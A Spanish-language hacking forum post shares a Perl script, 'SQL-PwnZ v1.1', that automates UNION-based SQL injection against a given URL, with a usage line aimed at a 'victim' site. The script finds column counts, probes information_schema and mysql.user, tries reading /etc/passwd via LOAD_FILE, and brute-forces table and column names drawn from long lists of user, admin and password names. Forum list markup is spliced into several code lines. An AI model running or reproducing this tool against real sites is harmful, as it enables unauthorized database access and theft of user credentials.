Scanner Inyeccion SQL en Perl

  • 0 Respuestas
  • 2871 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 247
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email

Scanner Inyeccion SQL en Perl

  • en: Febrero 25, 2010, 11:39:11 am
Código: [Seleccionar]
#!/usr/bin/perl

###########################################################################################
#                           -
  • - SQL-PwnZ v1.1 | By Login-Root -
  • -                   ###[/li][/list]
    ###########################################################################################

    ###########################################################################################
    #
  • inf0:                                                                             ###[/li][/list]
    ###########################################################################################
    # Busca:                                                                                ###
    # ======                                                                                ###
    #  - Nº de columnas                                                                     ###       
    #  - Information_Schema && MySQL.User                                                   ###
    #  - LOAD_FILE                                                                          ###
    #  - Tablas                                                                             ###                                               
    #  - Columnas                                                                           ###
    #                                                                                       ###
    #  ...y guarda todo en un archivo de texto.                                             ###
    #                                                                                       ###
    ###########################################################################################

    ###########################################################################################
    #
  • Use:                                                                              ###[/li][/list]
    ###########################################################################################
    # perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]          ###
    #   [WEBSITE]: [url]http://www.web.com/index.php?id=[/url]                                         ###
    #   [COLUMNS]: Limite de columnas                                                       ###
    #   [FILE]: Archivo donde guardar web vulnerable                                        ###
    #   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                             ###
    #   [-T]: Intentar brutear tablas (Opcional)                                            ###
    #   [-C]: Intentar brutear columnas (Opcional)                                          ###
    #   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                  ###
    ###########################################################################################

    ###########################################################################################
    #
  • c0ntact:                                                                          ###[/li][/list]
    ###########################################################################################
    # MSN:    [email][email protected][/email]                                                          ###
    # Jabber: [email][email protected][/email]                                                             ###
    # E-Mail: [email][email protected][/email]                                                       ###
    ###########################################################################################

    ###########################################################################################
    #
  • sh0utz:                                                                           ###[/li][/list]
    ###########################################################################################
    # In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor      ###
    # Many thanks to boER, who teach me a little of perl ;D                                 ###
    # VISIT: [url]WWW.MITM.CL[/url] | [url]WWW.REMOTEEXECUTION.ORG[/url] | [url]WWW.DIOSDELARED.COM[/url]                    ###
    ###########################################################################################

    use LWP::Simple;

    if(!$ARGV[2])
       {
           print "\n\n-
  • - SQL-PwnZ v1.1 | By Login-Root -
  • -\n=========================================";[/li][/list]
           print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";
           print "\n[WEBSITE]: [url]http://www.web.com/index.php?id=\n[/url][COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";
           exit (0);
       }
       
    @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
         'name','names','nombre','nombres','usuarios','member','members','admin_table',
         'miembro','miembros','membername','admins','administrator',
         'administrators','passwd','password','passwords','pass','Pass',
         'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
         'member_password','mods','mod','moderators','moderator','user_email',
         'user_emails','user_mail','user_mails','mail','emails','email','address',
         'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
         'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
         'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
         'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
         'sistema_usuario','sistema_password','contrasena','auth','key','senha',
         'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
          'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
          'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
          'associated','accnt','customers','customer','membres','administrateur','utilisateur',
          'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
          'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
         'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

    @nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
              'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
              'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
              'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
              'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
              'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','loginname','userright');

    if ( $ARGV[0]   !~   /^http:/ )
      {
          $ARGV[0] = "http://" . $ARGV[0];
      }

    if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
    {
       $cmn.= "+";
       $cfin.="--";
       print "\n
  • Comentarios a utilizar: '--' & '+'";   [/li][/list]
    }
    else
    {
       $cmn.= "/**/";
       $cfin.= "/*";
       print "\n
  • Comentarios a utilizar: '/*' & '/**/'";[/li][/list]
    }

    open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
    if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
      {
          print "\n[!] Se omite el chequeo inicial...\n";
          print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
      }
    else
      {
          print "\n[!] Chequeando si la web es vulnerable...\n";
          $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
          $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
          if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
            {
                print "
  • Web vulnerable, continua el script...\n";[/li][/list]
                print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
            }
            else
              {
                print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";
                exit(1);
              }
      }
    print "\n[!] Buscando columnas...\n";
    for ($column = 0 ; $column < $ARGV[1] ; $column ++)
    {
       $union.=','.$column;
       $inyection.=','."0x6c6f67696e70776e7a";
        if ($column == 0)
          {
              print WEB "\n[COLUMNAS]:\n\n";
              $inyection = '';
              $union = '';
          }
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
        $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
        if($response =~ /loginpwnz/)
          {
             $column ++;
             print "
  • La web posee $column columnas\n\n";[/li][/list]
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
             print "$sql\n";
             print WEB "$sql\n";
             print "\n[!] Chequeando si existe Information_Schema...";
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
             $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
             if($response =~ /loginpwnz/)
                {
                   print "\n
  • Information_Schema disponible...guardando en $ARGV[2]";[/li][/list]
                $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
                print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
                   
                }
             else
                {
                   print "\n[-] Information_Schema no disponible";
                }
             print "\n[!] Chequeando si existe MySQL.User...";
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
             $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
             if($response =~ /loginpwnz/)
                {
                   print "\n
  • MySQL.User disponible...guardando en $ARGV[2]";[/li][/list]
                   $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
                   print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
                   
                }
             else
                {
                   print "\n[-] MySQL.User no disponible";
                }
       while ($loadcont < $column-1)
          {
          $loadfile.=','.'load_file(0x2f6574632f706173737764)';
          $loadcont++;
          }
       print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
       $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
             if($response =~ /root:x:0:0/)
                {
                   print "\n
  • LOAD_FILE disponible...guardando en $ARGV[2]";[/li][/list]
                   print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
              }
             else
                {
                   print "\n[-] LOAD_FILE no disponible";
                }
       if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
                {
                  print "\n\n[!] Bruteando tablas...";
                  print WEB "\n\n[TABLAS]:\n\n";
                  foreach $tabla(@nombretabla)
                    {
                      chomp($tabla);
                      $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                      $response=get($sql)or die("[-] Imposible obtener tablas\n");
                      if($response =~ /loginpwnz/)
                        {
                            print "\n
  • La tabla $tabla esta disponible...guardando en $ARGV[2]";[/li][/list]
                            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                            print WEB "$sql\n";
                        }
                    }
                  }
            if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
              {
                 print "\n\n[!] Tabla a la cual brutear columnas: ";
                $tabla.=<STDIN>;
                chomp($tabla);
                print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
                foreach $columna(@nombrecolumna)
                {
                 chomp($columna);
                 $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                 $response=get($sql)or die("[-] Imposible obtener columnas\n");
                 if ($response =~ /loginpwnz/)
                      {
                          print "\n
  • La columna $columna esta disponible...guardando en $ARGV[2]";[/li][/list]
                          print WEB "$columna\n";
                      }
                }
            }
            print WEB "\n\n\n[*EOF*]";
            print "\n\n
  • Todo salvado correctamente en $ARGV[2]\n\n";[/li][/list]
            print "## c0ded by Login-Root | 2008 ##\n\n";
            exit (0);
          }
    }
    print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
    print "## c0ded by Login-Root | 2008 ##\n\n";
    exit (0);

    Uso:

    Citar
    perl inyeccion.pl http://www.webvicitima/categoria.php?categoria_id= numero de columnas archivo_guardar.txt -- -T -C

    Citar
    -- = Comentarios
    T= tablas
    C=Columnas


    Saludos =)

    Fuente:IlegalIntrusion.net
« Última modificación: Agosto 16, 2014, 10:26:42 am por Expermicid »
Venta de diseños - Contactar por MP

http://rax0rnet.blogspot.com/

 

Vuln Hunter 2014 - Website Vulnerability Scanner

Iniciado por ZanGetsu

Respuestas: 10
Vistas: 6594
Último mensaje Febrero 19, 2014, 12:27:07 pm
por GangsteR
Xscan - Basic Network Vulnerability Scanner

Iniciado por Pr0ph3t

Respuestas: 0
Vistas: 2527
Último mensaje Noviembre 30, 2011, 12:35:22 pm
por Pr0ph3t
[JoomlaScan v1.4] Scanner de vulnerabilidades para Joomla

Iniciado por Stiuvert

Respuestas: 8
Vistas: 6503
Último mensaje Septiembre 13, 2013, 11:43:17 pm
por Osw1re
shell finder perl

Iniciado por KiddArabic

Respuestas: 0
Vistas: 3892
Último mensaje Febrero 13, 2018, 07:35:13 pm
por KiddArabic
SQLi Site Scanner (SQPY)

Iniciado por hdbreaker

Respuestas: 3
Vistas: 5747
Último mensaje Octubre 06, 2014, 01:08:40 am
por Baku